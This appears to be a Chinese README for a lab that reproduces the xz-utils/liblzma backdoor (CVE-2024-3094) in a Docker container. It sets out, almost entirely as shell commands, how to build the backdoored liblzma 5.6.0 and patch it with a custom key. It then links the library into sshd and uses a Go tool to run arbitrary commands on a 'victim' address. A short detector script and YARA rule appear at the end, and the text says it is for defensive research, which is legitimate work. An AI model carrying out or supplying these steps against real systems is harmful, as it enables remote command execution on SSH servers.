本项目分析了在 xz-utils (liblzma) 中发现的高度隐蔽后门,影响版本 5.6.0 和 5.6.1。引入上游构建系统的恶意代码通过修改 sshd 在运行时与 LZMA 压缩库的交互方式,针对 SSH 认证进行攻击。
⚠️ 本项目仅用于教育和防御性研究目的。
克隆此仓库
git clone https://github.com/valeriot30/cve-2024-3094
进入目录
cd cve-2024-3094
启动 docker 容器
docker build -t fedora-dev .
docker run --privileged -it --rm -p 2222:22 fedora-dev
获取恶意版本的库
cd ~
git clone https://github.com/thesamesam/xz-archive.git
cd xz-archive/5.6/ # 存在漏洞的版本(5.6.1 同样适用)
tar xzf xz-5.6.0.tar.gz
mv xz-5.6.0 ~
导出构建目标
export RPM_ARCH=$(uname -m)
编译恶意库
cd ~
cd ./xz-5.6.0/
./configure
make -j 8
将恶意 SO 文件复制到外部:
cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~
在容器内再次克隆仓库
git clone https://github.com/valeriot30/cve-2024-3094
使用自定义密钥修补 liblzma 库
python3 cve-2024-3094/patch.py liblzma.so.5.6.0
在系统中链接恶意库
sh cve-2024-3094/inject.sh
运行与恶意库链接的 sshd
env -i LANG=C /usr/sbin/sshd -D &
克隆此仓库
git clone https://github.com/valeriot30/cve-2024-3094
进入目录
cd cve-2024-3094
编译 GO 工具
go build
使用工具,输入受害机器的 IP 地址和要执行的命令
./bot -addr 127.0.0.2:2222 -cmd 'sleep 60'
运行检测器
sh detector.sh
使用 yara 匹配规则
yara rule.yar ../liblzma.so.5.6.0 -s